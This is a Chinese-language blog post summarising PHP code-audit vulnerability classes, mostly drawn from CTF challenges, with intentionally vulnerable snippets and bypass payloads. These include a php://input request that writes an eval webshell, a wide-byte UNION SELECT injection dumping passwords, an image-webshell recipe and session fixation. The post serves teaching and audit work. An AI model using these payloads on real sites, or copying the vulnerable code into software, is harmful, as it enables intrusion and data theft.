Author : 木禾/Ali0thphp
Date : 2018-3-21html
Email : martin2877@foxmail.com前端
說明 :我的概括的php漏洞類型,有修改請私信或留言。mysql
你們好,個人網名是木禾,技術領域的 ID 是 Ali0th,這一篇是我在18年編寫的PHP代碼審計概括,以前發在了 t00ls 和 gtihub 上,如今經營着這個博客,也把之前寫的東西慢慢搬上來。若是能幫到你,請點個贊吧。linux
該函數使用數組鍵名做爲變量名,使用數組鍵值做爲變量值。針對數組中的每一個元素,將在當前符號表中建立對應的一個變量。條件:如有EXTR_SKIP則不行。git
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
# 結果:$a = Cat; $b = Dog; $c = Horse
複製代碼
這裏原來是$a
是original,後面經過extract把$a
覆蓋變成了Cat了,因此這裏把原來的變量給覆蓋了。github
#?shiyan=&flag=1
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag)); # content is 0 , flag can be anything,cause file_get_contents cannot open file, return 0
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
複製代碼
解析字符串並註冊成變量web
$b=1;
Parse_str('b=2');
Print_r($b); # 結果: $b=2
複製代碼
將 GET/POST/Cookie 變量導入到全局做用域中,全局變量註冊。
在5.4以後被取消,只可在4-4.1.0和5-5.4.0可用。
//導入POST提交的變量值,前綴爲post_
import_request_variable("p", "post_");
//導入GET和POST提交的變量值,前綴爲gp_,GET優先於POST
import_request_variable("gp", "gp_");
//導入Cookie和GET的變量值,Cookie變量值優先於GET
import_request_variable("cg", "cg_");
複製代碼
## 提交參數chs,則可覆蓋變量"$chs"的值。$key爲chs時,$$key就變成$chs
<?
$chs = '';
if($_POST && $charset != 'utf-8'){
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value){
$$key = $chs->Convert($value);
}
unset($chs);
}
複製代碼
原理: register_globals
是php中的一個控制選項,能夠設置成off或者on, 默認爲off, 決定是否將 EGPCS(Environment,GET,POST,Cookie,Server)變量註冊爲全局變量。 若是register_globals打開的話, 客戶端提交的數據中含有GLOBALS變量名, 就會覆蓋服務器上的$GLOBALS
變量.正則表達式
$_REQUEST
這個超全局變量的值受 php.ini
中request_order
的影響,在php5.3.x
系列中,request_order
默認值爲GP,也就是說默認配置下$_REQUEST
只包含$_GET
和$_POST
而不包括$_COOKIE
。經過COOKIE就能夠提交GLOBALS變量。sql
<?php
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
echo $foobar;
//爲了安全取消全局變量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get("register_globals")) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
複製代碼
通過測試,開了register_globals會卡死
控制碼
"\0" "%00" (ASCII 0 (0x00)),空字節符。
製表符
"\t" (ASCII 9 (0x09)),水平製表符。
空白字符:
"\n" (ASCII 10 (0x0A)),換行符。
"\v" "\x0b" (ASCII 11 (0x0B)),垂直製表符。
"\f" "%0c" 換頁符
"\r" "%0d"(ASCII 13 (0x0D)),回車符。
空格:
" " "%20" (ASCII 32 (0x20)),普通空格符。
複製代碼
而trim過濾的空白字符有
string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] )
複製代碼
其中缺乏了\f
2 函數對空白字符的特性
is_numeric函數在開始判斷前,會先跳過全部空白字符。這是一個特性。
也就是說,is_numeirc(" \r\n \t 1.2")是會返回true的。同理,intval(" \r\n \t 12"),也會正常返回12。
案例
#?number=%00%0c191
# 1 %00繞過is_numeric
# 2 \f(也就是%0c)在數字前面,trim,intval和is_numeric都會忽略這個字符
複製代碼
php整數上限溢出繞過intval
intval 函數最大的值取決於操做系統。 32 位系統最大帶符號的 integer 範圍是 -2147483648 到 2147483647。舉例,在這樣的系統上, intval('1000000000000') 會返回 2147483647。 64 位系統上,最大帶符號的 integer 值是 9223372036854775807。
# ?a=1024.1
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]); ## 這裏過濾只有一個intval
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
複製代碼
if ($req["number"] != intval($req["number"]))
複製代碼
在小數小於某個值(10^-16)之後,再比較的時候就分不清大小了。 輸入number = 1.00000000000000010, 右邊變成1.0, 而左與右比較會相等。
題目中有:
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu'){echo $flag;}
複製代碼
本地則寫:
<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// 獲得eJxLtDK0qs60MrBOAuJaAB5uBBQ=
?>
複製代碼
## 因iconv遇到異常字符就不轉後面的內容了,因此能夠截斷。
## 這裏chr(128)到chr(255)均可以截斷。
$a='1'.char(130).'2';
echo iconv("UTF-8","gbk",$a); //將字符串的編碼從UTF-8轉到gbk
echo iconv('GB2312', 'UTF-8', $str); //將字符串的編碼從GB2312轉到UTF-8
複製代碼
功能:正則匹配過濾 條件:要求php<5.3.4
## http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-*
#GET方式提交password,而後用ereg()正則限制了password的形式,只能是一個或者多個數字、大小寫字母,繼續strlen()限制了長度小於8而且大小必須大於9999999,繼續strpos()對password進行匹配,必須含有-,最終才輸出flag
#由於ereg函數存在NULL截斷漏洞,致使了正則過濾被繞過,因此可使用%00截斷正則匹配。
#對於另外一個難題可使用科學計數法表示,計算器或電腦表達10的的冪是通常是e,也就是1.99714e13=19971400000000,因此構造 1e8 即 100000000 > 9999999,在加上-。因而乎構造password=1e8%00*-*,成功獲得答案
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
複製代碼
5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7
在高版本(受影響版本中),PHP把長度比較的安全檢查邏輯給去掉了,致使了漏洞的發生
cve:web.nvd.nist.gov/view/vuln/d…
move_uploaded_file($_FILES['x']['tmp_name'],"/tmp/test.php\x00.jpg")
上傳抓包修改name爲a.php\0jpg(\0是nul字符),能夠看到$_FILES['xx']['name']
存儲的字符串是a.php,不會包含\0截斷以後的字符,所以並不影響代碼的驗證邏輯。 可是若是經過$_REQUEST
方式獲取的,則可能出現擴展名指望值不一致的狀況,形成「任意文件上傳」。
<?php
$name=$_GET['name'];
$filename=$name.'.php';
include $filename;
?>
複製代碼
當輸入的文件名包含URL時,問號截斷則會發生,而且這個利用方式不受PHP版本限制,緣由是Web服務其會將問號當作一個請求參數。
測試POC:http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/secret.txt? 則會打開secret.txt中的文件內容。本測試用例在PHP5.5.38版本上測試經過。
這種方式在PHP5.3之後的版本中都已經獲得了修復。 win260個字符,linux下4*1024=4096字節
mysql內的默認字符長度爲255,超過的就沒了。 因爲mysql的sql_mode設置爲default的時候,即沒有開啓STRICT_ALL_TABLES選項時,MySQL對於插入超長的值只會提示warning
insert into dvwa.test values (14,concat("admin",0xc1,"abc"))
寫入爲admin
原理
如下等式會成立
'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1
複製代碼
這裏用到了PHP弱類型的一個特性,當一個整形和一個其餘類型行比較的時候,會先把其餘類型轉換成整型再比。
##方法1
##$a["a1"]="1e8%00";
##這裏用%00繞過is_numeric,而後1e8能夠比1336大,所以最後能$v1=1
##方法2
##$a["a1"]=["a"];
##使用數組,能夠,由於數組恆大於數字或字符串
##方法3
##$a["a1"]=1337a;
##1337a過is_numeric,又由>轉成1337與1336比較
<?php
is_numeric(@$a["a1"])?die("nope"):NULL;
if(@$a["a1"]){
var_dump($a);
($a["a1"]>1336)?$v1=1:NULL;
}
var_dump($v1);
複製代碼
// 第一種:弱類型,1e==1
// $x1=1e
// 第二種:利用數組名字bypass
// $x1=1[]
// 傳入後爲string(3) "1[]",但在switch那裏爲1
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
複製代碼
md5('240610708') //0e462097431906509019562988736854
md5('QNKCDZO') //0e830400451993494058024219903391
0e 純數字這種格式的字符串在判斷相等的時候會被認爲是科學計數法的數字,先作字符串到數字的轉換。
md5('240610708')==md5('QNKCDZO'); //True
md5('240610708')===md5('QNKCDZO'); //False
這樣的對應數值還有:
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
複製代碼
技巧:找出在某一位置開始是0e的,幷包含「XXX」的字符串
#方法1
#s1=QNKCDZO&s2=240610708
#方法2
#?s1[]=1&s2[]=2
#利用md5中md5([1,2,3]) == md5([4,5,6]) ==NULL,md5一個list結果爲Null
#則可使:[1] !== [2] && md5([1]) ===md5([2])
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if ($_GET['s1'] != $_GET['s2']
&& md5($_GET['s1']) == md5($_GET['s2'])) {
echo "success, flag:" . FLAG;
}
複製代碼
##這裏沒有弱類型,但可讓$r查出來是Null,而後提交md5裏放數組得Null,因而Null===Null
$name = addslashes($_POST['name']);
$r = $db->get_row("SELECT `pass` FROM `user` WHERE `name`='{$name}'");
if ($r['pass'] === md5($_POST['pass'])) {
echo "success";
}
複製代碼
PHP將POST的數據所有保存爲字符串形式,也就沒有辦法注入數字類型的數據了而JSON則不同,JSON自己是一個完整的字符串,通過解析以後可能有字符串,數字,布爾等多種類型。
application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml
複製代碼
第一個application/x-www-form-urlencoded,是通常表單形式提交的content-type第二個,是包含文件的表單。第三,四個,分別是json和xml,通常是js當中上傳的.
{"key":"0"}
這是一個字符串0,咱們須要讓他爲數字類型,用burp攔截,把兩個雙引號去掉,變成這樣:
{"key":0}
適用與5.3以前版本的php
int strcmp ( string $str1 , string $str2 )
// 參數 str1第一個字符串。str2第二個字符串。若是 str1 小於 str2 返回 < 0; 若是 str1 大於 str2 返回 > 0;若是二者相等,返回 0。 當這個函數接受到了不符合的類型,這個函數將發生錯誤,可是在5.3以前的php中,顯示了報錯的警告信息後,將return 0,因此能夠故意讓其報錯,則返回0,則相等了。
##flag[]=admin
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}
複製代碼
修復了上面1的返回0的漏洞,即大於5.3版本後,變成返回NULL。 array和string進行strcmp比較的時候會返回一個null,由於strcmp只會處理字符串參數,若是給個數組的話呢,就會返回NULL。
strcmp($c[1],$d)
而判斷使用的是==,當NULL==0是 bool(true)
鬆散比較下,任何string都等於true:
// in_array('a', [true, 'b', 'c']) // 返回bool(true),至關於數組裏面有字符'a'
// array_search('a', [true, 'b', 'c']) // 返回int(0),至關於找到了字符'a'
// array_search 會使用'ctf'和array中的每一個值做比較,這裏的比較也是弱比較,因此intval('ctf')==0.
if(is_array(@$a["a2"])){
if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope");
$pos = array_search("ctf", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["a2"] as $key=>$val){
$val==="ctf"?die("nope"):NULL;
}
$v2=1;
}
複製代碼
sha1()函數默認的傳入參數類型是字符串型,給它傳入數組會出現錯誤,使sha1()函數返回錯誤,也就是返回false
md5()函數若是成功則返回已計算的 MD5 散列,若是失敗則返回 FALSE。可經過傳入數組,返回錯誤。
##?name[]=1&password[]=2
## === 兩邊都是false則成立
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
複製代碼
strpos()輸入數組出錯返回null
#既要是純數字,又要有’#biubiubiu’,strpos()找的是字符串,那麼傳一個數組給它,strpos()出錯返回null,null!==false,因此符合要求. 因此輸入nctf[]= 那爲何ereg()也能符合呢?由於ereg()在出錯時返回的也是null,null!==false,因此符合要求.
<?php
$flag = "flag";
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00截斷
echo '必須輸入數字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年,繼續努力吧啊~';
}
複製代碼
== 兩邊的十六進制與十進制比較,是能夠相等的。
#?password=0xdeadc0de
#echo dechex ( 3735929054 ); // 將3735929054轉爲16進制結果爲:deadc0de
<?php
error_reporting(0);
function noother_says_correct($temp) {
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 碼值
$nine = ord('9'); //ord — 返回字符的 ASCII 碼值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) ) ## 1到9不容許,但0容許
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
複製代碼
原理:
md5(string,raw)
raw 可選。規定十六進制或二進制輸出格式:
TRUE - 原始 16 字符二進制格式
FALSE - 默認。32 字符十六進制數
複製代碼
當md5函數的第二個參數爲True時,編碼將以16進制返回,再轉換爲字符串。而字符串’ffifdyop’的md5加密結果爲'or'<trash>
其中 trash爲垃圾值,or一個非0值爲真,也就繞過了檢測。
## 執行順序:字符串:ffifdyop -> md5()加密成276f722736c95d99e921722cf9ed621c->md5(,true)將16進制轉成字符串`'or'<trash>`->sql執行`'or'<trash>`形成注入
$sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'";
複製代碼
#這裏case 0 和 1 沒有break,使得程序繼續往下執行。
<?php
error_reporting(0);
if (isset($_GET['which']))
{
$which = $_GET['which'];
switch ($which)
{
case 0:
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
複製代碼
<!-- index.php -->
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
<!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出現的位置(不區分大小寫)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
複製代碼
#?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
<!-- answer.php -->
<?php
require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;
?>
<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = 'pctf.php') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
複製代碼
原理:
include()/include_once(),require()/require_once(),中的變量可控
利用方法:
封裝協議:
file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams)
zlib:// — 壓縮流
data:// — 數據(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
複製代碼
## 訪問共享目錄
include ('\evilservershell.php');
複製代碼
## post提交數據
<?php
include($_GET['url']);
?>
## http://127.0.0.1/111332.php?url=php://input
## POST內容爲:
<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>
複製代碼
原理:過濾了GPC,但沒有過濾其它部分。
上傳文件相關變量如$_FIle
$_GET,$_POST,$_Cookie,$_SERVER,$_ENV,$_SESSION,$_REQUEST
HTTP_CLIENT_IP 和HTTP_XFORWORDFOR 中的ip不受gpc影響
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
複製代碼
案例:
foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
複製代碼
經過表單來傳值。
<form method="post" action="http://localhost/qibo/member/comment.php?job=ifcom" enctype="multipart/form-data">
<input type="file" name="cidDB">
<input type="submit">
</form>
複製代碼
這裏的gid爲查詢參數
$_SERVER //中用戶可以控制的變量,php5.0後不受GPC影響
QUERY_STRING //用戶GET方法提交時的查詢字符串
HTTP_REFERER //用戶請求的來源變量,在一些程序取得用戶訪問記錄時用得比較多
HTTP_USER_AGENT //用戶的瀏覽器類型,也用於用戶的訪問記錄的取得
HTTP_HOST //提交的主機頭等內容
HTTP_X_FORWARDED_FOR //用戶的代理主機的信息
複製代碼
原理:以 HTTP_ 開頭的 header, 均屬於客戶端發送的內容。那麼,若是客戶端僞造user-agent/referer/client-ip/x-forward-for,就能夠達到僞造IP的目的,php5以後不受GPC影響。
關鍵字:
HTTP_
getenv
$_SERVER
服務端:
echo getenv('HTTP_CLIENT_IP');
echo $_SERVER['REMOTE_ADDR']; //訪問端(有多是用戶,有多是代理的)IP
echo $_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可僞造)
echo $_SERVER['HTTP_X_FORWARDED_FOR']; //用戶是在哪一個IP使用的代理(有可能存在,也能夠僞造)
客戶端:
注意發送的格式:
CLIENT-IP:10.10.10.1
X-FORWARDED-FOR:10.10.10.10
複製代碼
#這個玩意恆成立的。無論有沒有clientip
strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')
複製代碼
\A[ _a-zA-Z0-9]+\z
原理:str_replace的過濾方式爲其search參數數組從左到右一個一個過濾。
## 這裏能夠被繞過,由於是對.和/或\的組合的過濾,因此單獨的..或\/沒有檢測到。
## 方法1
## 五個點加///
## 方法2
## ...././/
$dir = str_replace(array('..\\', '../', './', '.\\'), '', trim($dir),$countb);
echo $dir;
echo '</br>替換數量';
echo $countb;
複製代碼
## 這裏有對單獨的.進行過濾,因此沒法繞過。
$file = str_replace(array('../', '\\', '..'), array('', '/', ''), $_GET['file'],$counta);
echo $file;
echo '</br>替換數量';
echo $counta;
複製代碼
原理:當 php.ini 的short_open_tag=on時,PHP支持短標籤,默認狀況下爲off。格式爲:<?xxxx;?> --> <?xxx;
Go0s@ubuntu:~$ cat test.php
<?="helloworld";
Go0s@ubuntu:~$ curl 127.0.0.1/test.php
helloworld
複製代碼
原理:
file_put_contents(file,data,mode,context)
file 必需。規定要寫入數據的文件。若是文件不存在,則建立一個新文件。
data 可選。規定要寫入文件的數據。能夠是字符串、數組或數據流。若是是數組的話,將被鏈接成字符串再進行寫入。
複製代碼
## ?filename=xiaowei.php&data[]=<?php&data[]=%0aphpinfo();
## 這個要從burp去傳,由於後面的【?】會被理解爲參數而截斷
<?php
$a = $_GET['data'];
$file = $_GET['filename'];
$current = file_get_contents($file);
file_put_contents($file, $a);
複製代碼
原理:單引號或雙引號均可以用來定義字符串。但只有雙引號會調用解析器。
# 1
$s = "I am a 'single quote string' inside a double quote string";
$s = 'I am a "double quote string" inside a single quote string';
$s = "I am a 'single quote string' inside a double quote string";
$s = 'I am a "double quote string" inside a single quote string';
# 2
$abc='I love u';
echo $abc //結果是:I love u
echo '$abc' //結果是:$abc
echo "$abc" //結果是:I love u
# 3
$a="${@phpinfo()}"; //能夠解析出來
<?php $a="${@phpinfo()}";?> //@能夠爲空格,tab,/**/ ,回車,+,-,!,~,\等
複製代碼
"Select * from table where id=$id" # 有注入
"Select * from table where id=".$id." limit 1" # 有注入
"Select * from table where id='$id'" # 無注入
"Select * from table where id='".$id."' limit 1" # 無注入
複製代碼
原理:
常見轉碼函數: iconv() mb_convert_encoding() addslashes
防護:
用mysql_real_escape_string
## ?username=tom&password=1%df' or 1=1 union select 1,2,group_concat(0x0a,mname,0x0a,pwd) from manager--+
## %df把\給吃掉,因此這裏能夠繞過addslashes的轉義
$pwd = addslashes($pwd);
mysql_query("SET NAMES gbk");
$query = "select * from user where uname='".$uname."' and pwd='".$pwd."'";
複製代碼
原理:沒有使用return()或die()或exit()退出流程的話,下面的代碼仍是會繼續執行。可使用burp測試,不會跳轉過去。
## 1
$this->myclass->notice('alert("系統已安裝過");window.location.href="'.site_url().'";');
## 2
header("location: ../index.php");
複製代碼
因爲瀏覽器的一次urldecode,再由服務器端函數的一次decode,形成二次編碼,而繞過過濾。如%2527,兩次urldecode會最後變成'
base64_decode -- 對使用 MIME base64 編碼的數據進行解碼
base64_encode -- 使用 MIME base64 對數據進行編碼
rawurldecode -- 對已編碼的 URL 字符串進行解碼
rawurlencode -- 按照 RFC 1738 對 URL 進行編碼
urldecode -- 解碼已編碼的 URL 字符串
urlencode -- 編碼 URL 字符串
unserialize/serialize
字符集函數(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
複製代碼
當html裏的連接是變量時,易出現XSS。
={#、echo、print、printf、vprintf、<%=$test%>
img scr={#$list.link_logo#}
複製代碼
system()
exec()
passthru()
pcntl_exec()
shell_exec()
echo `whoami`; //反引號調用shell_exec()函數
popen()和proc_open() //不會返回結果
array_map($arr,$array); //爲數組的每一個元素應用回調函數arr,如$arr = "phpinfo"
popen('whoami >>D: /2.txt', 'r'); //這樣就會在D下生成一個2.txt。
preg_replace()
ob_start()
array_map()
複製代碼
防範方法:
create_function構造了一個return後面的語句爲一個函數。
#?sort_by="]);}phpinfo();/*
#sort_function就變成了 return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
#前面閉合,而後把後面的所有註釋掉了。
<?php
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
複製代碼
原理
mb_ereg_replace()是支持多字節的正則表達式替換函數,函數原型以下:
string mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option= "msr" ] )
當指定mb_ereg(i)_replace()的option參數爲e時,replacement參數[在適當的逆向引用替換完後]將做爲php代碼被執行.
複製代碼
# ?str=[phpinfo()]
# 這裏使用/e模式,因此第二個參數\\1這裏能夠執行。
# 經過$_GET傳入值,第一個參數正則,把[]去掉,放到了第二個參數裏\\1,執行。
preg_replace("/\[(.*)]/e",'\\1',$_GET['str']);
複製代碼
call_user_func
call_user_func_array
複製代碼
# ?a=assert
call_user_func($_GET['a'],$b);
複製代碼
assert()
call_user_func()
call_user_func_array()
create_function()
複製代碼
當assert()的參數爲字符串時 可執行PHP代碼。 區別:assert能夠不加;,eval不能夠不加。
eval(" phpinfo(); ");【√】 eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】 assert(" phpinfo() ");【√】
複製代碼
原理:若是運算符優先級相同,那運算符的結合方向決定了該如何運算 php.net/manual/zh/l…
優先級:&&/|| 大於 = 大於 AND/OR
# ($test = true) and false; $test2 = (true && false);
$test = true and false; var_dump($test);//bool(true)
$test2 = true && false; var_dump($test2); //bool(false)
# 當有兩個is_numeric判斷並用and鏈接時,and後面的is_numeric能夠繞過
$test3 = is_numeric("123") and is_numeric("anything false"); var_dump($test3); //bool(true)
複製代碼
原理:
當用getimagesize判斷文件是否爲圖片,能夠判斷的文件爲gif/png/jpg,若是指定的文件若是不是有效的圖像,會返回 false。 只要咱們在文件頭部加入GIF89a後能夠上傳任意後綴文件。
生成小馬圖的方法:
cat image.png webshell.php > image.php
複製代碼
## 找上傳點
## 文件頭部加入GIF89a
# 1
$file = $request->getFiles();
# 2
if(getimagesize($files['users']['photo']['tmp_name']))
{
move_uploaded_file($files['users']['photo']['tmp_name'], $filename);
# 3
$filesize = @getimagesize('/path/to/image.png');
if ($filesize) {
do_upload();
}
複製代碼
原理:Windows下,在搜索文件的時候使用了FindFirstFile這一個winapi函數,該函數到一個文件夾(包含子文件夾)去搜索指定文件。 執行過程當中,字符">"被替換成"?",字符"<"被替換成"*",而符號"(雙引號)被替換成一個"."字符。因此:
NO | Status | Function | Type of operation |
---|---|---|---|
1. | OK | include() | Includefile |
2. | OK | include_once() | Includefile |
3. | OK | require() | Includefile |
4. | OK | require_once() | Include file |
5. | OK | fopen() | Openfile |
6. | OK | ZipArchive::open() | Archive file |
7. | OK | copy() | Copyfile |
8. | OK | file_get_contents() | Readfile |
9. | OK | parse_ini_file() | Readfile |
10. | OK | readfile() | Readfile |
11. | OK | file_put_contents() | Write file |
12. | OK | mkdir() | New directory creation |
13. | OK | tempnam() | New file creation |
14. | OK | touch() | New file creation |
15. | OK | move_uploaded_file() | Move operation |
16. | OK | opendiit) | Directory operation |
17. | OK | readdir() | Directory operation |
18. | OK | rewinddir() | Directory operation |
19. | OK | closedir() | Directory operation |
20. | FAIL | rename() | Move operation |
21. | FAIL | unlink() | Delete file |
22. | FAIL | rmdir()) | Directory operation |
## ?file=1<
## ?file=1>
## ?file=1"txt
文件名爲1.txt
## ?file=1234.tx>
## ?file=1234.<
## ?file=1<<
## ?file=1<<">
## ?file=123>">
## ?file=>>>4">
## ?file=<<4">
文件名爲1234.txt
include('shell<');
include('shell<<');
include('shell.p>p');
include('shell"php');
fopen('.htacess'); //==>fopen("htacess');
file_get_contents('C:boot.ini'); //==> file_get_contents ('C:/boot.ini');
file_get_contents('C:/tmp/con.jpg'); //此舉將會無休無止地從CON設備讀取0字節,直到遇到eof
file_put_contents('C:/tmp/con.jpg',chr(0×07)); //此舉將會不斷地使服務器發出相似嗶嗶的聲音
複製代碼
原理:linux下,*表明任意字符(0到多個),?表明一個字符,因此若是是有執行linux系統命令,那就能夠用這些通配符來繞過過濾,並執行咱們想要的命令
<?php
## 本地flag路徑爲 /data/sublime/php/audit/3/flag.txt
## ?filename='/????/???????/???/?????/?/*'
function waf($file){
return preg_replace('/[a-z0-9.]/i', '', "$file");
}
$filename = $_GET['file'];
$file = waf($filename);
echo $file;
system('less '.$file);
複製代碼
foreach時,addslashes對得到的value值進行處理,但沒有處理key。
wooyun.webbaozi.com/bug_detail.…
lstat 函數
wooyun.webbaozi.com/bug_detail.… stream_resolve_include_path函數
wooyun.webbaozi.com/bug_detail.…
wooyun.webbaozi.com/bug_detail.…
wooyun.webbaozi.com/bug_detail.…
jpg_name.jpg是待GD處理的圖片
php jpg_payload.php <jpg_name.jpg>
複製代碼
生成好的圖片,在通過以下代碼處理後,依然能保留其中的shell:
<?php
imagecreatefromjpeg('xxxx.jpg');
?>
複製代碼
if(!empty($_GET['phpsessid'])) session_id($_GET['phpsessid']);//經過GET方法傳遞sessionid
複製代碼
經過get方法來設置session。因此能夠經過CSRF:
http://xxxx/index.php?r=admin/index/index&phpsessid=f4cking123
管理員點了咱們就能使用此session進後臺了。
原理:經過黑名單將敏感字符替換爲空,然而只按順序執行一次。可經過故意過濾構造payload.
## %*27
## 經典如phpcms9.6.0注入,過濾後去掉了*,剩下的%27便可使用。
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
複製代碼
原理:simplexml_load_file函數的參數過濾不嚴,致使引入外部實體。產生任意文件讀取。
原理:
後臺邏輯:將上傳的文件上傳到Web目錄,而後檢查文件的安全性,若是發現文件不安全就立刻經過unlink()將其刪除。 利用方法:在上傳完成和安全檢查完成並刪除它的間隙,攻擊者經過不斷地發起訪問請求的方法訪問了該文件,該文件就會被執行,而且在服務器上生成一個惡意shell。這時候shell已經生成,文件被刪除就無所謂了。
<?php
if($_FILES["file"]["error"] > 0)){
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
//check file
unlink("upload/"._FILES["file"]["name"]));
}
?>
複製代碼